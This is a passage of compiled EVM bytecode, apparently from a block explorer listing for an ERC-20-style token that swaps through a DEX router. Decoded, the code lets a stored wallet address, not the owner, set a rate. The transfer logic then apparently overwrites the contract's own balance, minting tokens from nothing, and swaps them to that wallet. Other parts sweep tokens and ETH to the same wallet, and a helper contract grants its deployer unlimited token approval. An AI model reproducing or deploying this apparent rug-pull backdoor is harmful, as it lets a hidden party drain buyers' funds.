01806040525081019061116e9190612830565b73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016111aa9392919061285b565b6020604051808303815f875af11580156111c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ea91906127f1565b506111f48161184f565b50565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b90612759565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e9906128da565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161148791906123e4565b60405180910390a3505050565b5f61149e84610abb565b9050818110156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da90612942565b60405180910390fd5b5f80600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156115475750600b5f9054906101000a900460ff16155b801561159a575060075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156115ed575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611676575f6064601054866116039190612960565b61160d91906129ce565b905061161830610abb565b811115611662578060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f8111156116745761167381611b31565b5b505b60075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611714575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561172c5750600b5f9054906101000a900460ff16155b1561173657600191505b81801561178a5750600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156117dd5750600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117e6575f91505b600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561183a57600190505b6118478686868585611dcb565b505050505050565b6001600b5f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611885576118846129fe565b5b6040519080825280602002602001820160405280156118b35781602001602082028036833780820191505090505b50905060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611920573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119449190612830565b815f8151811061195757611956612a2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106119a6576119a5612a2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d795835f84600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611a63959493929190612b48565b5f604051808303815f87803b158015611a7a575f80fd5b505af1925050508015611a8b575060015b505f611ab7600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610abb565b1115611b1457611b12600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611b0d600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610abb565b6120a4565b505b505f600b5f6101000a81548160ff02191690831515021790555050565b6001600b5f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b6757611b666129fe565b5b604051908082528060200260200182016040528015611b955781602001602082028036833780820191505090505b50905030815f81518110611bac57611bab612a2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c50573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c749190612830565b81600181518110611c8857611c87612a2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611d45959493929190612b48565b5f604051808303815f87803b158015611d5c575f80fd5b505af1925050508015611d6d575060015b611dad577fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f165f604051611da09190612bd0565b60405180910390a1611dae565b5b505f600b5f6101000a81548160ff02191690831515021790555050565b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e1491906126dc565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8215611f97575f8215611e6d57600d549050611e73565b600c5490505b5f60648287611e829190612960565b611e8c91906129ce565b90505f811115611f94578083611ea29190612be9565b92508060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eed9190612be9565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f8b91906123e4565b60405180910390a35b50505b8084611fa391906126dc565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611feb9190612be9565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838761208791906126dc565b60405161209491906123e4565b60405180910390a3505050505050565b5f8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120ee91906126dc565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121789190612be9565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161221691906123e4565b60405180910390a3600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612260578082015181840152602081019050612245565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61228582612229565b61228f8185612233565b935061229f818560208601612243565b6122a88161226b565b840191505092915050565b5f6020820190508181035f8301526122cb818461227b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612300826122d7565b9050919050565b612310816122f6565b811461231a575f80fd5b50565b5f8135905061232b81612307565b92915050565b5f819050919050565b61234381612331565b811461234d575f80fd5b50565b5f8135905061235e8161233a565b92915050565b5f806040838503121561237a576123796122d3565b5b5f6123878582860161231d565b925050602061239885828601612350565b9150509250929050565b5f8115159050919050565b6123b6816123a2565b82525050565b5f6020820190506123cf5f8301846123ad565b92915050565b6123de81612331565b82525050565b5f6020820190506123f75f8301846123d5565b92915050565b5f805f60608486031215612414576124136122d3565b5b5f6124218682870161231d565b93505060206124328682870161231d565b925050604061244386828701612350565b9150509250925092565b5f60ff82169050919050565b6124628161244d565b82525050565b5f60208201905061247b5f830184612459565b92915050565b5f60208284031215612496576124956122d3565b5b5f6124a38482850161231d565b91505092915050565b6124b5816122f6565b82525050565b5f6020820190506124ce5f8301846124ac565b92915050565b5f819050919050565b5f6124f76124f26124ed846122d7565b6124d4565b6122d7565b9050919050565b5f612508826124dd565b9050919050565b5f612519826124fe565b9050919050565b6125298161250f565b82525050565b5f6020820190506125425f830184612520565b92915050565b612551816123a2565b811461255b575f80fd5b50565b5f8135905061256c81612548565b92915050565b5f8060408385031215612588576125876122d3565b5b5f6125958582860161231d565b92505060206125a68582860161255e565b9150509250929050565b5f6125ba826124fe565b9050919050565b6125ca816125b0565b82525050565b5f6020820190506125e35f8301846125c1565b92915050565b5f602082840312156125fe576125fd6122d3565b5b5f61260b84828501612350565b91505092915050565b5f806040838503121561262a576126296122d3565b5b5f6126378582860161231d565b92505060206126488582860161231d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061269657607f821691505b6020821081036126a9576126a8612652565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6126e682612331565b91506126f183612331565b9250828203905081811115612709576127086126af565b5b92915050565b7f796f7520617265206e6f74206f776e65720000000000000000000000000000005f82015250565b5f612743601183612233565b915061274e8261270f565b602082019050919050565b5f6020820190508181035f83015261277081612737565b9050919050565b5f815190506127858161233a565b92915050565b5f602082840312156127a05761279f6122d3565b5b5f6127ad84828501612777565b91505092915050565b5f6040820190506127c95f8301856124ac565b6127d660208301846123d5565b9392505050565b5f815190506127eb81612548565b92915050565b5f60208284031215612806576128056122d3565b5b5f612813848285016127dd565b91505092915050565b5f8151905061282a81612307565b92915050565b5f60208284031215612845576128446122d3565b5b5f6128528482850161281c565b91505092915050565b5f60608201905061286e5f8301866124ac565b61287b60208301856124ac565b61288860408301846123d5565b949350505050565b7f6e657720697320300000000000000000000000000000000000000000000000005f82015250565b5f6128c4600883612233565b91506128cf82612890565b602082019050919050565b5f6020820190508181035f8301526128f1816128b8565b9050919050565b7f62616c616e63654e6f74456e6f756768000000000000000000000000000000005f82015250565b5f61292c601083612233565b9150612937826128f8565b602082019050919050565b5f6020820190508181035f83015261295981612920565b9050919050565b5f61296a82612331565b915061297583612331565b925082820261298381612331565b9150828204841483151761299a576129996126af565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6129d882612331565b91506129e383612331565b9250826129f3576129f26129a1565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f612a7b612a76612a7184612a58565b6124d4565b612331565b9050919050565b612a8b81612a61565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ac3816122f6565b82525050565b5f612ad48383612aba565b60208301905092915050565b5f602082019050919050565b5f612af682612a91565b612b008185612a9b565b9350612b0b83612aab565b805f5b83811015612b3b578151612b228882612ac9565b9750612b2d83612ae0565b925050600181019050612b0e565b5085935050505092915050565b5f60a082019050612b5b5f8301886123d5565b612b686020830187612a82565b8181036040830152612b7a8186612aec565b9050612b8960608301856124ac565b612b9660808301846123d5565b9695505050505050565b5f612bba612bb5612bb084612a58565b6124d4565b61244d565b9050919050565b612bca81612ba0565b82525050565b5f602082019050612be35f830184612bc1565b92915050565b5f612bf382612331565b9150612bfe83612331565b9250828201905080821115612c1657612c156126af565b5b9291505056fea26469706673582212205a2b143d96c5d8d0dabc0cdd885f6c021e394a1a2ff855885eec1f99ca1042a164736f6c63430008140033608060405234801561000f575f80fd5b506040516102dc3803806102dc83398181016040528101906100319190610197565b5f8173ffffffffffffffffffffffffffffffffffffffff16335f1960405160240161005d9291906101e9565b6040516020818303038152906040527f095ea7b3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516100e7919061027c565b5f604051808303815f865af19150503d805f8114610120576040519150601f19603f3d011682016040523d82523d5f602084013e610125565b606091505b5050905080610132575f80fd5b5050610292565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6101668261013d565b9050919050565b6101768161015c565b8114610180575f80fd5b50565b5f815190506101918161016d565b92915050565b5f602082840312156101ac576101ab610139565b5b5f6101b984828501610183565b91505092915050565b6101cb8161015c565b82525050565b5f819050919050565b6101e3816101d1565b82525050565b5f6040820190506101fc5f8301856101c2565b61020960208301846101da565b9392505050565b5f81519050919050565b5f81905092915050565b5f5b83811015610241578082015181840152602081019050610226565b5f8484015250505050565b5f61025682610210565b610260818561021a565b9350610270818560208601610224565b80840191505092915050565b5f610287828461024c565b915081905092915050565b603e8061029e5f395ff3fe60806040525f80fdfea26469706673582212200b40e0f10e109477d6d7b3b7473d4331d70aebe62d1b71d33d0b659c0636394864736f6c63430008140033

Deployed Bytecode

0x60806040526004361061019f575f3560e01c806370a08231116100eb578063a9059cbb11610089578063dd62ed3e11610063578063dd62ed3e146105ac578063e82bef29146105e8578063ec82746014610612578063f2fde38b1461063a576101a6565b8063a9059cbb1461051e578063ba34c8f11461055a578063ce0192f914610582576101a6565b80638718b24f116100c55780638718b24f146104785780638da5cb5b146104a257806395d89b41146104cc578063a67755c2146104f6576101a6565b806370a08231146103fe578063715018a61461043a578063863587cd14610450576101a6565b806336b2e027116101585780633ecad271116101325780633ecad271146103465780634bf28fd01461038257806365b61b77146103ac5780636f39cfcd146103d6576101a6565b806336b2e027146102ca5780633b3e1383146103065780633bfe62ca1461031c576101a6565b806306fdde03146101aa578063095ea7b3146101d457806318160ddd1461021057806323b872dd1461023a5780632c4e722e14610276578063313ce567146102a0576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101be610662565b6040516101cb91906122b3565b60405180910390f35b3480156101df575f80fd5b506101fa60048036038101906101f59190612364565b6106f2565b60405161020791906123bc565b60405180910390f35b34801561021b575f80fd5b50610224610708565b60405161023191906123e4565b60405180910390f35b348015610245575f80fd5b50610260600480360381019061025b91906123fd565b610711565b60405161026d91906123bc565b60405180910390f35b348015610281575f80fd5b5061028a6108a9565b60405161029791906123e4565b60405180910390f35b3480156102ab575f80fd5b506102b46108af565b6040516102c19190612468565b60405180910390f35b3480156102d5575f80fd5b506102f060048036038101906102eb9190612481565b6108c4565b6040516102fd91906123bc565b60405180910390f35b348015610311575f80fd5b5061031a6108e1565b005b348015610327575f80fd5b5061033061097e565b60405161033d91906123e4565b60405180910390f35b348015610351575f80fd5b5061036c60048036038101906103679190612481565b610984565b60405161037991906123bc565b60405180910390f35b34801561038d575f80fd5b506103966109a1565b6040516103a391906124bb565b60405180910390f35b3480156103b7575f80fd5b506103c06109c6565b6040516103cd919061252f565b60405180910390f35b3480156103e1575f80fd5b506103fc60048036038101906103f79190612481565b6109eb565b005b348015610409575f80fd5b50610424600480360381019061041f9190612481565b610abb565b60405161043191906123e4565b60405180910390f35b348015610445575f80fd5b5061044e610b01565b005b34801561045b575f80fd5b5061047660048036038101906104719190612572565b610c48565b005b348015610483575f80fd5b5061048c610d2d565b60405161049991906125d0565b60405180910390f35b3480156104ad575f80fd5b506104b6610d52565b6040516104c391906124bb565b60405180910390f35b3480156104d7575f80fd5b506104e0610d79565b6040516104ed91906122b3565b60405180910390f35b348015610501575f80fd5b5061051c60048036038101906105179190612481565b610e09565b005b348015610529575f80fd5b50610544600480360381019061053f9190612364565b610fb9565b60405161055191906123bc565b60405180910390f35b348015610565575f80fd5b50610580600480360381019061057b91906125e9565b610fcf565b005b34801561058d575f80fd5b50610596611033565b6040516105a391906123e4565b60405180910390f35b3480156105b7575f80fd5b506105d260048036038101906105cd9190612614565b611039565b6040516105df91906123e4565b60405180910390f35b3480156105f3575f80fd5b506105fc6110bb565b60405161060991906124bb565b60405180910390f35b34801561061d575f80fd5b50610638600480360381019061063391906125e9565b6110e0565b005b348015610645575f80fd5b50610660600480360381019061065b9190612481565b6111f7565b005b6060600480546106719061267f565b80601f016020809104026020016040519081016040528092919081815260200182805461069d9061267f565b80156106e85780601f106106bf576101008083540402835291602001916106e8565b820191905f5260205f20905b8154815290600101906020018083116106cb57829003601f168201915b5050505050905090565b5f6106fe3384846113ad565b6001905092915050565b5f600854905090565b5f61071d848484611494565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541461089e578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461082191906126dc565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b60105481565b5f60065f9054906101000a900460ff16905090565b6007602052805f5260405f205f915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096590612759565b60405180910390fd5b5f600c819055505f600d81905550565b600d5481565b600a602052805f5260405f205f915054906101000a900460ff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90612759565b60405180910390fd5b8060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8590612759565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccc90612759565b60405180910390fd5b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610d889061267f565b80601f0160208091040260200160405190810160405280929190818152602001828054610db49061267f565b8015610dff5780601f10610dd657610100808354040283529160200191610dff565b820191905f5260205f20905b815481529060010190602001808311610de257829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610fb6578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610eb391906124bb565b602060405180830381865afa158015610ece573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef2919061278b565b6040518363ffffffff1660e01b8152600401610f0f9291906127b6565b6020604051808303815f875af1158015610f2b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4f91906127f1565b5060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610fb4573d5f803e3d5ffd5b505b50565b5f610fc5338484611494565b6001905092915050565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361102f57816010819055505b5050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561114a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061116e9190612830565b73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016111aa9392919061285b565b6020604051808303815f875af11580156111c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ea91906127f1565b506111f48161184f565b50565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b90612759565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e9906128da565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161148791906123e4565b60405180910390a3505050565b5f61149e84610abb565b9050818110156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da90612942565b60405180910390fd5b5f80600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156115475750600b5f9054906101000a900460ff16155b801561159a575060075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156115ed575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611676575f6064601054866116039190612960565b61160d91906129ce565b905061161830610abb565b811115611662578060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f8111156116745761167381611b31565b5b505b60075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611714575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561172c5750600b5f9054906101000a900460ff16155b1561173657600191505b81801561178a5750600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156117dd5750600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117e6575f91505b600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561183a57600190505b6118478686868585611dcb565b505050505050565b6001600b5f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611885576118846129fe565b5b6040519080825280602002602001820160405280156118b35781602001602082028036833780820191505090505b50905060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611920573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119449190612830565b815f8151811061195757611956612a2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106119a6576119a5612a2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d795835f84600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611a63959493929190612b48565b5f604051808303815f87803b158015611a7a575f80fd5b505af1925050508015611a8b575060015b505f611ab7600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610abb565b1115611b1457611b12600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611b0d600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610abb565b6120a4565b505b505f600b5f6101000a81548160ff02191690831515021790555050565b6001600b5f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b6757611b666129fe565b5b604051908082528060200260200182016040528015611b955781602001602082028036833780820191505090505b50905030815f81518110611bac57611bab612a2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c50573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c749190612830565b81600181518110611c8857611c87612a2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611d45959493929190612b48565b5f604051808303815f87803b158015611d5c575f80fd5b505af1925050508015611d6d575060015b611dad577fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f165f604051611da09190612bd0565b60405180910390a1611dae565b5b505f600b5f6101000a81548160ff02191690831515021790555050565b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e1491906126dc565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8215611f97575f8215611e6d57600d549050611e73565b600c5490505b5f60648287611e829190612960565b611e8c91906129ce565b90505f811115611f94578083611ea29190612be9565b92508060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eed9190612be9565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f8b91906123e4565b60405180910390a35b50505b8084611fa391906126dc565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611feb9190612be9565b60015f8